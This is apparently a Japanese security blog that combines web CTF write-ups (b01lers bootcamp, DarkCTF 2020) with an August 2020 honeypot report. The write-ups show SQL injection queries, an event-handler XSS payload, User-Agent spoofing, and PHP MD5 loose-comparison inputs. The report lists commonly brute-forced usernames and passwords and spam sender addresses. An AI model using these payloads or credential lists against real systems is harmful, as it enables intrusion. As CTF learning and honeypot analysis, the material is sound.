b01lers CTF bootcamp - Writeup (web : Where's Tron?)
Web
Where's Tron?
We've lost Tron on the grid, find him using this uplink! http://chal.ctf.b01lers.com:3004 server.pySize: 1.10 KB MD5: 80b2f70baf1f8706a5eaf2cd86fe624b
添付ファイルのソースより、mysqlのDBにPOSTリクエストのクエリを投げて
該当するレコードがあれば表示する作りになっている。
◆ソースファイル
#!/usr/bin/env python3 from flask import Flask, render_template, request import MySQLdb app = Flask(__name__) def query(query): db = MySQLdb.connect(host='localhost', user='selection_program', passwd='designation2-503', db='grid') cursor = db.cursor() try: cursor.execute(query + " LIMIT 20;") results = cursor.fetchall() cursor.close() db.close() return results except MySQLdb.ProgrammingError as e: print(e) return 1 except MySQLdb.OperationalError as e: print(e) return 2 @app.route('/', methods=['GET', 'POST']) def index(): if request.method == 'POST': query_str = request.form['query'] results = query(query_str) if results == 1: return render_template('index.html', error="Syntax error in query."), 500 elif results == 2: return render_template('index.html', error="MySQLdb.OperationalError."), 500 else: results = None return render_template('index.html', results=results) if __name__ == '__main__': app.run(host='0.0.0.0', port=5000)
POST処理で受け取ったqueryに対して何も対策をしていないのでSQLインジェクションを狙うことができる。
色々調べると以下の情報がわかる。
Database : grid Table : program Column : id/location/name/statusの4つ 登録されているデータが1万件以上あるので、正規表現を使って検索した。 (select name,id,location from programs where name regexp '^Tron') →Tron-JA-307020 1980 flag{I_fight_for_the_users_and_yori}
flag{I_fight_for_the_users_and_yori}
b01lers CTF bootcamp - Writeup (web : First Day Inspection)
Web
First Day Inspection
It's your first day working at ENCOM, but they're asking you to figure things out yourself. What an onboarding process... take a look around and see what you can find. http://chal.ctf.b01lers.com:3005 Author:@MDirt
指定されたURLへアクセスする。
kali@kali:~/Desktop$ curl http://chal.ctf.b01lers.com:3005/ <!doctype html> <html lang="en"> <head> <meta charset="utf-8"> <title>ENCOM</title> <meta name="description" content="The HTML5 Herald"> <meta name="author" content="SitePoint"> <link rel="stylesheet" href="css/styles.css"> <link rel="icon" href="img/favicon.png"> <script type="text/javascript" src="js/script.js"></script> </head> <!-- (1/5): flag{ --> <body> <div class="container"> <img id="logo" src="img/encom.png"> </div> <h1>WELCOME EMPLOYEE</h1> <h1>ASSEMBLE THE KEY</h1> </body> </html>
ソースファイルに1/5つ目のflag(1/5): flag{
が記載されている。
同様にして、開発者ツールのconsole.logに2つ目のflag(2/5): w3lc
が記載されている。
styles.cssに3つ目のflag(3/5): 0m3_
が記載されている。
script.jsに4つ目のflag(4/5): t0_E
が記載されている。
localstrorageに5つ目のflagが記載されている。に5つ目のflag(5/5) NC0M}
が記載されている。
flag{w3lc0m3_t0_ENC0M}}
b01lers CTF bootcamp - Writeup (web : Reindeer Flotilla)
Web
Reindeer Flotilla
It's time to enter the Grid. Figure out a way to pop an alert() to get your flag. http://chal.ctf.b01lers.com:3006 Author: @MDirt
指定されたURLへアクセスする。
kali@kali:~/Desktop$ curl http://chal.ctf.b01lers.com:3006/ <!doctype html> <html lang="en"> <head> <meta charset="utf-8"> <title>ENCOM Input</title> <meta name="description" content="XSS"> <meta name="author" content="Kevin Flynn"> <link rel="icon" href="img/favicon.png"> <link rel="stylesheet" href="css/styles.css"> <script src="https://ajax.googleapis.com/ajax/libs/jquery/3.5.1/jquery.min.js"></script> <script type="text/javascript" src="js/script.js"></script> </head> <body> <div> <ul id=messages> </ul> </div> <input type=text id="chat"> <div id="result"></div> <img id="logo" src="img/encomlogotransparent.png"> </body> </html>
入力欄のある画面が表示され、適当な文字を入力すると入力された文字列が表示される。
問題文からXSSを発火させればflagが得られそうだがscriptタグが入力できない。
script句を使わずに、DOM型で確認する。 入力欄に以下を入力する。
<i onclick=alert('XSS')>aaa
aaaをクリックすると発火されてflagが表示される。
flag{y0u_sh0uldnt_h4v3_c0m3_b4ck_flynn}
b01lers CTF bootcamp - Writeup (web : Programs Only)
Web
Programs Only!
You don't have to be lonely at Programs Only dot com http://chal.ctf.b01lers.com:3003
指定されたURLへアクセスする。
kali@kali:~/Desktop$ curl http://chal.ctf.b01lers.com:3003/ <!DOCTYPE html> <html lang="en"> <head> <title>Welcome.</title> <meta charset="utf-8" /> <meta name="viewport" content="width=device-width, initial-scale=1" /> <link rel="stylesheet" href="/static/css/tron.css" /> <link rel="stylesheet" href="/static/css/style.css" /> </head> <body style="background-color: black"> <div id="main-wrapper"> <div class="content-page"> <div> <h1>Welcome 'curl/7.68.0' to The Grid.</h1> </div> </div> <div class="horizontal_wrapper"> <div> <a href="/tron_city"> <h2>Tron City</h2> <img src="/static/img/tron_city.jpg" alt="tron city" /> </a> </div> <div> <a href="/sea_of_simulation"> <h2>Sea of Simulation</h2> <img src="/static/img/SeaofSim01.webp" alt="sea_of_simulation" /> </a> </div> </div> <div class="horizontal_wrapper"> <div> <a href="/disc_arena"> <h2>Disc Arena</h2> <img src="/static/img/disc_war.png" alt="disc arena" /> <!-- from: https://www.deviantart.com/thepr0crastin80r/art/Tron-Legacy-SFM-Disc-Battle-737958125&psig=AOvVaw3jD_KhH4MDPoqSCBxj_OVH&ust=1600969105064000&source=images&cd=vfe&ved=0CA0QjhxqFwoTCMjv3_Lo_-sCFQAAAAAdAAAAABAD --> </a> </div> <div> <a href="/0001001_club"> <h2>0001001 Club</h2> <img src="/static/img/0001001_Club.webp" alt="0001001 Club" /> </a> </div> </div> <div class="horizontal_wrapper"> <div> <a href="/portal"> <h2>Portal</h2> <img src="/static/img/portal.webp" alt="portal" /> </a> </div> <!-- <div> <a href="/program"> <h2>Program's Only</h2> <img src="/static/img/programs_only.jpg" alt="00101010" /> </a> </div> --> </div> </div> </body> </html>
アクセスしたクライアントのUser-Agentを動的に表示している。
robots.txtを確認すると以下の記載がある。
kali@kali:~/Desktop$ curl http://chal.ctf.b01lers.com:3003/robots.txt User-agent: * Disallow: / User-agent: Program Allow: /program/ User-agent: Master Control Program 0000 Allow: /program/control
robots.txtに記載されたUser-AgentとURLへアクセスするとflagが含まれたサイトが表示される。
kali@kali:~/Desktop$ curl -H "User-Agent: Master Control Program 0000" http://chal.ctf.b01lers.com:3003/program/control <!DOCTYPE html> <html> <head> <title>Master Control.</title> <link rel="stylesheet" href="/static/css/tron.css" /> <link rel="stylesheet" href="/static/css/style.css" /> </head> <body> <div id="main-wrapper"> <div class="content-page"> <div> <h1>Master Control.</h1> </div> <div> <p>flag{who_programmed_you?} </p> </div> </div> </div> </body> </html>
flag{who_programmed_you?}
b01lers CTF bootcamp - Writeup (web : Find That Data!)
土, 03 10月 2020, 13:00 UTC — 月, 05 10月 2020, 00:00 UTCに開催されたb01lers CTF bootcampにチームで参加した。 相変わらず簡単な問題しか解けないのでもっと頑張りたい。自分が解いた問題のWriteupを記載する。
Web
Find That Data!
Complete what Clu could not... Find the data in memory. https://www.youtube.com/watch?v=PQwKV7lCzEI http://chal.ctf.b01lers.com:3001
ソースファイルより、username == "CLU" && password == "0222"で
ログインすると/maze配下へ遷移する。maze.jsの中身を確認する。
// Maze creation from http://logicalmoon.com/2015/06/creating-a-maze-using-javascript/ var maxCols = 36; var maxRows = 44; function CreateGrid() { var innerHTMLString = ""; innerHTMLString = "<table>"; for (var theRow = 0; theRow <= maxRows; theRow++) { innerHTMLString += "<tr>"; for (var theCol = 0; theCol <= maxCols; theCol++) { innerHTMLString += '<td id="r'; innerHTMLString += theRow; innerHTMLString += "c"; innerHTMLString += theCol; innerHTMLString += '"></td>'; } innerHTMLString += "</tr>"; } innerHTMLString += "</table>"; document.getElementById("maze-grid").innerHTML = innerHTMLString; } function RemoveWall(row, col) { var cell = "r" + row + "c" + col; // A north wall would cause a gap to be created so just remove easterly wall. if (row === maxRows && col == 1) return; if (row === 1) { if (col === maxCols) return; document.getElementById(cell).style.borderRightStyle = "hidden"; } else if (col === maxCols) { document.getElementById(cell).style.borderTopStyle = "hidden"; } else { if (Math.random() >= 0.5) { document.getElementById(cell).style.borderTopStyle = "hidden"; } else { document.getElementById(cell).style.borderRightStyle = "hidden"; } } } function Token() { $.get("/token", function(data, status) { $("#token").html(data); }); } function CreateMaze() { for (var theRow = 1; theRow <= maxRows; theRow++) { for (var theCol = 1; theCol <= maxCols; theCol++) { RemoveWall(theRow, theCol); } } } function CreateAll() { Token(); CreateGrid(); add_x(); add_o(); CreateMaze(); } window.addEventListener("load", function() { CreateAll(); setInterval(CreateAll, 1000); }); // CLU \\ let x = maxCols, y = 1; function get_cell(column, row) { if (column === 0 || column > maxCols || row === 0 || row > maxRows) return null; return document.getElementById("r" + row + "c" + column); } function remove_x() { get_cell(x, y).innerHTML = ""; } function add_x() { get_cell(x, y).innerHTML = '<img src="/static/img/clu_head.jpg" class="x" width="20px" height="20px" />'; } function add_o() { get_cell(1, maxRows).innerHTML = '<p class="o">O</p>'; } function check_data() { if (x === 1 && y === maxRows) { $.post("/mem", { token: $("#token").html() }).done(function(data) { alert("Memory: " + data); }); } } function move_up() { let cell = get_cell(x, y); if (cell == null) return; if (y == 1 || cell.style.borderTopStyle != "hidden") return; remove_x(); y -= 1; add_x(); check_data(); } function move_down() { let cell = get_cell(x, y + 1); if (cell == null) return; if (y == maxRows || cell.style.borderTopStyle != "hidden") return; remove_x(); y += 1; add_x(); check_data(); } function move_right() { let cell = get_cell(x, y); if (cell == null) return; if (x == maxCols || cell.style.borderRightStyle != "hidden") return; remove_x(); x += 1; add_x(); check_data(); } function move_left() { let cell = get_cell(x - 1, y); if (cell == null) return; if (x == 1 || cell.style.borderRightStyle != "hidden") return; remove_x(); x -= 1; add_x(); check_data(); }
・MaxColとMaxRowが最大列と最大行を指定している。
・x,yが人形の座標を示しており、ゴール(0の位置)に到着するとflagが取得できる。
・CreateAll関数でToken作成→列と行の数を指定→人形とゴールを設定→迷路作成の順で動いている。
F12をクリックして開発者ツールを起動し、以下の順で解く。
①24行目にbreakポイントを設定
②Consoleで以下を入力する。
maxRows=2 x=1 y=2 check_data()
flag{you_aren't_making_me_talk!}
解きたかった問題
・EnFlaskCom (Web)
・Derezzy (Web)
・Next Gen Networking (Web)
感想
・EnFlaskComのPickleの脆弱性は今後解けるように復習するぜ(ง •̀_•́)ง‼
DarkCTF - Writeup
金, 25 9月 2020, 03:00 UTC — 日, 27 9月 2020, 03:00 UTCに開催されたDarkCTF に個人で参加した。 チームが他のCTF大会に参加していたため、当該大会の問題に挑戦しながら気晴らしに取り組んだ。 簡単な問題しか解けてないが、以下にWriteupを記載する。
Web
Web/Source
Mr.Ghost Don't know source is helpful or not !! http://web.darkarmy.xyz
添付されたソースファイルを確認する。
<html> <head> <title>SOURCE</title> <style> #main { height: 100vh; } </style> </head> <body><center> <link rel="stylesheet" href="https://www.w3schools.com/w3css/4/w3.css"> <?php $web = $_SERVER['HTTP_USER_AGENT']; if (is_numeric($web)){ if (strlen($web) < 4){ if ($web > 10000){ echo ('<div class="w3-panel w3-green"><h3>Correct</h3> <p>darkCTF{}</p></div>'); } else { echo ('<div class="w3-panel w3-red"><h3>Wrong!</h3> <p>Ohhhhh!!! Very Close </p></div>'); } } else { echo ('<div class="w3-panel w3-red"><h3>Wrong!</h3> <p>Nice!!! Near But Far</p></div>'); } } else { echo ('<div class="w3-panel w3-red"><h3>Wrong!</h3> <p>Ahhhhh!!! Try Not Easy</p></div>'); } ?> </center> <!-- Source is helpful --> </body> </html>
以下の箇所よりUser-Agentに4文字未満の数字で10000以上の数をセットすればflagが表示される。
$web = $_SERVER['HTTP_USER_AGENT']; if (is_numeric($web)){ if (strlen($web) < 4){ if ($web > 10000){ echo ('<div class="w3-panel w3-green"><h3>Correct</h3> <p>darkCTF{}</p></div>');
指数表現を使ってUser-Agentに値を設定するとflagが表示される。
kali@kali:~/Desktop$ curl -A "1e9" http://web.darkarmy.xyz/ <html> <head> <title>SOURCE</title> <style> #main { height: 100vh; } </style> </head> <body><center> <link rel="stylesheet" href="https://www.w3schools.com/w3css/4/w3.css"> <div class="w3-panel w3-green"><h3>Correct</h3> <p>darkCTF{changeing_http_user_agent_is_easy}</p></div></center> <!-- Source is helpful --> </body> </html>
darkCTF{changeing_http_user_agent_is_easy}
Web/Apache Logs
cyb3rz0n3 Our servers were compromised!! Can you figure out which technique they used by looking at Apache access logs. flag format: DarkCTF{}
添付のApache HTTP Serverのログを確認する。
SQLインジェクションで攻撃を受けたログが記載されている。
(ログをみていると作問にOWASPのmutillidaeを使用していることが分かる。)
192.168.32.1 - - [29/Sep/2015:03:39:46 -0400] "GET /mutillidae/index.php?page=client-side-control-challenge.php HTTP/1.1" 200 9197 "http://192.168.32.134/mutillidae/index.php?page=user-info.php&username=%27+union+all+select+1%2CString.fromCharCode%28102%2C%2B108%2C%2B97%2C%2B103%2C%2B32%2C%2B105%2C%2B115%2C%2B32%2C%2B68%2C%2B97%2C%2B114%2C%2B107%2C%2B67%2C%2B84%2C%2B70%2C%2B123%2C%2B53%2C%2B113%2C%2B108%2C%2B95%2C%2B49%2C%2B110%2C%2B106%2C%2B51%2C%2B99%2C%2B116%2C%2B49%2C%2B48%2C%2B110%2C%2B125%29%2C3+--%2B&password=&user-info-php-submit-button=View+Account+Details" "Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"
上記の部分のURLエンコードを解読→10進数を文字に変更するとflagが表示される。
DarkCTF{5ql_1nj3ct10n}
Web/Simple_SQL
Mr.Ghost Try to find username and password [Link](http://simplesql.darkarmy.xyz/)
指定されたURLへアクセスすると<!-- Try id as parameter -->
のヒントがある。
kali@kali:~/Desktop$ curl http://simplesql.darkarmy.xyz/ <!DOCTYPE html> <html> <head> <title>Simple SQL</title> <style> </style> </head> <body bgcolor=black> <center><font color=red class=title>Welcome Players To My Safe House </font></center> <br> <br><!-- Try id as parameter --> </body> </html>
?id=0で順にアクセスするとメッセージが表示される。
?id=9でflagが表示される。
kali@kali:~/Desktop$ curl http://simplesql.darkarmy.xyz/?id=9 <!DOCTYPE html> <html> <head> <title>Simple SQL</title> <style> </style> </head> <body bgcolor=black> <center><font color=red class=title>Welcome Players To My Safe House </font></center> <br> <font size="5" color="green">Username : flag Password : darkCTF{it_is_very_easy_to_find}<br></font> </body>
darkCTF{it_is_very_easy_to_find}
Web/So_Simple
Mr.Ghost "Try Harder" may be You get flag manually Try id as parameter http://web.darkarmy.xyz:30001
問題文からidパラメータを指定してGET処理を投げるとUserとPasswordが表示される。
http://web.darkarmy.xyz:30001/?id=1
kali@kali:~/Desktop$ curl http://web.darkarmy.xyz:30001/?id=1 <!DOCTYPE html> <head> <title>WEB!!!</title> </head> <body> <font color=red>Welcome Players To My Safe House <br> <font size="3"> <center> <img src="hacker.png" width="200" height="200" /> </center> <font size='5' color= '#05ff1a'>Your Login name:LOL<br>Your Password:Try </font></font> </div> </body> </html>
idパラメータにSQLインジェクションの脆弱性があり、調べるとidパラメータの56465219にflagが記載されている。
kali@kali:~/Desktop$ curl http://web.darkarmy.xyz:30001/?id=56465219 <!DOCTYPE html> <head> <title>WEB!!!</title> </head> <body> <font color=red>Welcome Players To My Safe House <br> <font size="3"> <center> <img src="hacker.png" width="200" height="200" /> </center> <font size='5' color= '#05ff1a'>Your Login name:flag<br>Your Password:darkCTF{uniqu3_ide4_t0_find_fl4g}</font></font> </div> </body> </html>
Web/PHP İnformation
SaltanatNaibi Let's test your php knowledge. Flag Format: DarkCTF{} http://php.darkarmy.xyz:7001
指定したURLへアクセスすると以下のPHPソースが表示される。
<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Corona Web</title> </head> <body> <style> body{ background-color: whitesmoke } </style> <?php include "flag.php"; echo show_source("index.php"); if (!empty($_SERVER['QUERY_STRING'])) { $query = $_SERVER['QUERY_STRING']; $res = parse_str($query); if (!empty($res['darkctf'])){ $darkctf = $res['darkctf']; } } if ($darkctf === "2020"){ echo "<h1 style='color: chartreuse;'>Flag : $flag</h1></br>"; } if ($_SERVER["HTTP_USER_AGENT"] === base64_decode("MjAyMF90aGVfYmVzdF95ZWFyX2Nvcm9uYQ==")){ echo "<h1 style='color: chartreuse;'>Flag : $flag_1</h1></br>"; } if (!empty($_SERVER['QUERY_STRING'])) { $query = $_SERVER['QUERY_STRING']; $res = parse_str($query); if (!empty($res['ctf2020'])){ $ctf2020 = $res['ctf2020']; } if ($ctf2020 === base64_encode("ZGFya2N0Zi0yMDIwLXdlYg==")){ echo "<h1 style='color: chartreuse;'>Flag : $flag_2</h1></br>"; } } if (isset($_GET['karma']) and isset($_GET['2020'])) { if ($_GET['karma'] != $_GET['2020']) if (md5($_GET['karma']) == md5($_GET['2020'])) echo "<h1 style='color: chartreuse;'>Flag : $flag_3</h1></br>"; else echo "<h1 style='color: chartreuse;'>Wrong</h1></br>"; } ?> </body> </html>
1つ目のflag:?darkctf=2020を指定する。
2つ目のflag:User-Agentに"MjAyMF90aGVfYmVzdF95ZWFyX2Nvcm9uYQ=="をデコードしたものを指定する。
kali@kali:~/Desktop$ echo -n "MjAyMF90aGVfYmVzdF95ZWFyX2Nvcm9uYQ==" | base64 -d 2020_the_best_year_coronak
3つ目のflag:?ctf2020=ZGFya2N0Zi0yMDIwLXdlYg==をbase64エンコードした値
kali@kali:~/Desktop$ echo -n "ZGFya2N0Zi0yMDIwLXdlYg==" | base64 WkdGeWEyTjBaaTB5TURJd0xYZGxZZz09
4つ目のflag:?karmaと?2020に値としては異なるが、md5ハッシュ化した際に緩やかな比較で一致する値を指定する。
Googleで調べると緩やかな一致にて0eで始まる値は0として扱われるためイコールになる。
?karma=240610708、?2020=QNKCDZOとした場合、以下は一致する。
md5('240610708') → 0e462097431906509019562988736854
md5('QNKCDZO') → 0e830400451993494058024219903391
従って以下URLへアクセスするとflagが表示される。
kali@kali:~/Desktop$ curl -A "2020_the_best_year_corona" "http://php.darkarmy.xyz:7001/?darkctf=2020&ctf2020=WkdGeWEyTjBaaTB5TURJd0xYZGxZZz09&karma=240610708&2020=QNKCDZO" <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Corona Web</title> </head> <body> <style> body{ background-color: whitesmoke } </style> <中略> Flag : DarkCTF{</h1></br><h1 style='color: chartreuse;'>Flag : very_</h1></br><h1 style='color: chartreuse;'>Flag : nice</h1></br><h1 style='color: chartreuse;'>Flag : _web_challenge_dark_ctf}</h1></br></body> </html>
DarkCTF{very_nice_web_challenge_dark_ctf}
解きたかった問題
・Web/Agent-U (Web)
・Web/Dusty Notes (Web)
・Web/Chain Race (Web)
・Web/File Reader (Web)
・Web/Safe House (Web)
感想
・忙しくて色々なことが滞りがち。10月はCodeblue2020とSECCON 2020があるので挑戦したい。
ハニーポット運用(月次報告:2020年8月)
今月のTopics
9月である。今年はBlack HatもSECCONもAVTokyoもCODEBLUEも全てオンライン開催だ。
改めて今年は特別な年になっていることを実感する。歴史を振り返った際に間違いなく2020年は記録に残る年になるだろう。
(オンラインで快適な自宅から参加できるのは有難いと思う。)
今月のChangelog
8月は無し。多分9月か10月あたりにまた更新がありそう?
前提条件
運用日時:2020年8月1日-2020年8月31日
運用期間:31日
結果
①各ハニーポットで検知したAttack件数
- T-Potを構成する各ハニーポットへの攻撃件数の一覧を以下に記載する。
No | ハニーポット | 件数 | 先月比 |
---|---|---|---|
1 | Dionaea | 4,605,510 | △811,403 |
2 | Cowrie | 3,927,297 | △885,780 |
3 | Honeytrap | 266,919 | ▲122,871 |
4 | Heralding | 229,515 | ▲212,388 |
5 | Mailoney | 88,444 | △75,548 |
6 | Rdpy | 58,108 | ▲9,208 |
7 | Tanner | 4,418 | ▲585 |
8 | Adbhoney | 3,805 | △220 |
9 | Ciscoasa | 1,745 | ▲464 |
10 | CitrixHoneypot | 785 | △212 |
11 | ElasticPot | 613 | ▲300 |
12 | ConPot | 196 | ▲26 |
13 | Medpot | 8 | ▲1,501 |
- Result
- DionaeaやCowrieの件数が多いのはいつも通り。
- Mailoneyの件数が増えているのが気になる。
SenderとRecieverで登録されているアドレスは以下の通り。
JPドメインは無かった。
filters | eMail Address | CNT |
---|---|---|
Sender | spameri@tiscali.it | 86 |
Sender | iau@iau-aiu.net | 40 |
Sender | dfbiagent21@gmail.com | 23 |
Sender | dfbiagent@gmail.com | 23 |
Sender | test@comstar.ru | 10 |
Sender | sarverce@gmail.com | 8 |
Sender | amas@amasbrasil.org.br | 6 |
Sender | info@fbi.gov.org | 6 |
Sender | wwb441@163.com | 6 |
Sender | abbaghali135@yahoo.fr | 5 |
Receiver | spameri@tiscali.it | 42 |
Receiver | dfbiagent21@gmail.com | 23 |
Receiver | dfbiagent@gmail.com | 23 |
Receiver | iau@iau-aiu.net | 20 |
Receiver | abbaghali135@yahoo.fr | 13 |
Receiver | davjackson911@gmail.com | 13 |
Receiver | e.larryschur@gmail.com | 13 |
Receiver | ibepaul01@hotmail.com | 13 |
Receiver | test@comstar.ru | 5 |
Receiver | ReubenRashty@outlook.com | 4 |
②攻撃元の国名と件数(Top 20)
- 各ハニーポットへの攻撃元の国名の総件数を以下に記載する。
No | 攻撃元の国名 | 件数 | 先月順位 |
---|---|---|---|
1 | Ireland | 1,981,961 | 1(→) |
2 | Russia | 950,028 | 2(→) |
3 | Vietnam | 832,669 | 3(→) |
4 | China | 529,778 | 4(→) |
5 | United States | 441,063 | 8(↑) |
6 | Panama | 412,552 | 7(↑) |
7 | India | 363,473 | 6(↓) |
8 | Brazil | 296,436 | 9(↑) |
9 | Indonesia | 241,698 | 11(↑) |
10 | Venezuela | 221,328 | 14(↑) |
11 | Germany | 209,644 | 12(↑) |
12 | Japan | 206,875 | 18(↑) |
13 | Turkey | 183,885 | 17(↑) |
14 | Ukraine | 161,519 | 10(↓) |
15 | Taiwan | 142,886 | 16(↑) |
16 | Republic of Moldova | 132,459 | 15(↓) |
17 | Thailand | 130,126 | 19(↑) |
18 | Netherlands | 119,737 | 4(↓) |
19 | Egypt | 113,344 | 圏外(↑) |
20 | Pakistan | 95,772 | 20(→) |
上記の国別のアクセスにおけるPort番号の分布は以下の通り。 ※対象は上位10か国まで
No | 攻撃元の国名 | Port | 件数 |
---|---|---|---|
1 | Ireland | 22 | 263,104 |
1 | Ireland | 80 | 243,961 |
1 | Ireland | 443 | 213,572 |
1 | Ireland | 25 | 114,368 |
1 | Ireland | 5900 | 29,194 |
1 | Ireland | 587 | 20,088 |
1 | Ireland | 993 | 18,267 |
1 | Ireland | 43594 | 14,980 |
1 | Ireland | 465 | 8,276 |
1 | Ireland | 445 | 1,088 |
2 | Russia | 445 | 355,839 |
2 | Russia | 443 | 189,481 |
2 | Russia | 5900 | 79,634 |
2 | Russia | 80 | 48,204 |
2 | Russia | 22 | 44,798 |
2 | Russia | 25 | 8,862 |
2 | Russia | 25000 | 6,353 |
2 | Russia | 3389 | 5,990 |
2 | Russia | 993 | 3,369 |
2 | Russia | 465 | 1,552 |
3 | Vietnam | 445 | 813,093 |
3 | Vietnam | 1433 | 3,854 |
3 | Vietnam | 22 | 2,120 |
3 | Vietnam | 3389 | 2,011 |
3 | Vietnam | 25 | 382 |
3 | Vietnam | 23 | 146 |
3 | Vietnam | 8545 | 59 |
3 | Vietnam | 80 | 26 |
3 | Vietnam | 1194 | 25 |
3 | Vietnam | 65529 | 14 |
4 | China | 445 | 96,894 |
4 | China | 22 | 64,897 |
4 | China | 1433 | 20,612 |
4 | China | 25 | 5,957 |
4 | China | 80 | 1,065 |
4 | China | 3389 | 984 |
4 | China | 23 | 859 |
4 | China | 21 | 542 |
4 | China | 6379 | 379 |
4 | China | 65529 | 334 |
5 | United States | 5060 | 149,138 |
5 | United States | 445 | 63,261 |
5 | United States | 25 | 48,573 |
5 | United States | 21 | 27,142 |
5 | United States | 22 | 13,171 |
5 | United States | 3389 | 4,576 |
5 | United States | 1433 | 1,654 |
5 | United States | 23 | 1,579 |
5 | United States | 5432 | 816 |
5 | United States | 80 | 433 |
6 | Panama | 80 | 91,000 |
6 | Panama | 22 | 55,746 |
6 | Panama | 443 | 39,006 |
6 | Panama | 445 | 2,065 |
6 | Panama | 25 | 249 |
6 | Panama | 993 | 58 |
6 | Panama | 1433 | 36 |
6 | Panama | 143 | 33 |
6 | Panama | 995 | 26 |
6 | Panama | 5555 | 7 |
7 | India | 445 | 335,469 |
7 | India | 22 | 3,872 |
7 | India | 3389 | 1,739 |
7 | India | 1433 | 611 |
7 | India | 23 | 214 |
7 | India | 2323 | 123 |
7 | India | 47001 | 53 |
7 | India | 4369 | 41 |
7 | India | 8129 | 41 |
7 | India | 2123 | 40 |
8 | Brazil | 445 | 271,934 |
8 | Brazil | 22 | 3,415 |
8 | Brazil | 1433 | 1,101 |
8 | Brazil | 23 | 163 |
8 | Brazil | 2323 | 131 |
8 | Brazil | 80 | 68 |
8 | Brazil | 8080 | 56 |
8 | Brazil | 9530 | 44 |
8 | Brazil | 3389 | 41 |
8 | Brazil | 81 | 12 |
9 | Indonesia | 445 | 227,637 |
9 | Indonesia | 22 | 2,061 |
9 | Indonesia | 1433 | 644 |
9 | Indonesia | 23 | 56 |
9 | Indonesia | 8080 | 20 |
9 | Indonesia | 80 | 14 |
9 | Indonesia | 3389 | 10 |
9 | Indonesia | 4343 | 8 |
9 | Indonesia | 4443 | 7 |
9 | Indonesia | 1443 | 6 |
10 | Venezuela | 445 | 221,160 |
10 | Venezuela | 1433 | 27 |
10 | Venezuela | 22 | 11 |
10 | Venezuela | 23 | 7 |
10 | Venezuela | 8080 | 2 |
10 | Venezuela | 80 | 1 |
10 | Venezuela | 3311 | 1 |
10 | Venezuela | 4443 | 1 |
10 | Venezuela | 13026 | 1 |
10 | Venezuela | 14614 | 1 |
- Result
③検知したCVEの脆弱性と件数
- Suricata(オープンIPS)にて検知した各攻撃の脆弱性の内容を以下に記載する。
No | CVE ID | CNT |
---|---|---|
1 | CVE-2020-11899 | 50,898 |
2 | CVE-2019-0708 CVE-2019-0708 CVE-2019-0708 | 36 |
3 | CVE-2020-11910 | 22 |
4 | CVE-2020-8515 CVE-2020-8515 | 5 |
5 | CVE-2019-12263 CVE-2019-12261 CVE-2019-12260 CVE-2019-12255 | 2 |
- Result
- Ripple20の攻撃が相変わらず多い。 1万件を下回ることが無いのは驚きである。
- 新規の攻撃は無し。
④よく攻撃されるユーザ名
- ユーザ名でよく攻撃されるキーワード(Top 20)で記載する。
No | ユーザ名 | 件数 |
---|---|---|
1 | root | 302,087 |
2 | admin | 201,227 |
3 | sa | 12,699 |
4 | user | 11,386 |
5 | support | 10,367 |
6 | nproc | 2,688 |
7 | 22 | 1,894 |
8 | postgres | 1,286 |
9 | test | 968 |
10 | ubuntu | 873 |
11 | sh | 656 |
12 | 666666 | 502 |
13 | oracle | 398 |
14 | enable | 347 |
15 | git | 334 |
16 | guest | 324 |
17 | ftpuser | 320 |
18 | deploy | 314 |
19 | administrator | 312 |
20 | mysql | 224 |
- Result
- 先月から変更なし
⑤よく攻撃されるパスワード
- パスワードでよく攻撃されるキーワード(Top 20)を以下に記載する。
No | パスワード | 件数 |
---|---|---|
1 | admin | 287065 |
2 | & | 79734 |
3 | user | 10716 |
4 | support | 10281 |
5 | 123456 | 5254 |
6 | root | 4874 |
7 | password | 3136 |
8 | nproc | 2688 |
9 | 12345678 | 1930 |
10 | 1593 | |
11 | 123 | 1515 |
12 | 12345 | 1283 |
13 | 1234 | 1009 |
14 | Password | 694 |
15 | aqweasdfgfdgfdh | 651 |
16 | ubnt | 599 |
17 | 666666 | 592 |
18 | 123123 | 585 |
19 | alpine | 536 |
20 | master | 534 |
- Result
- 先月から変更なし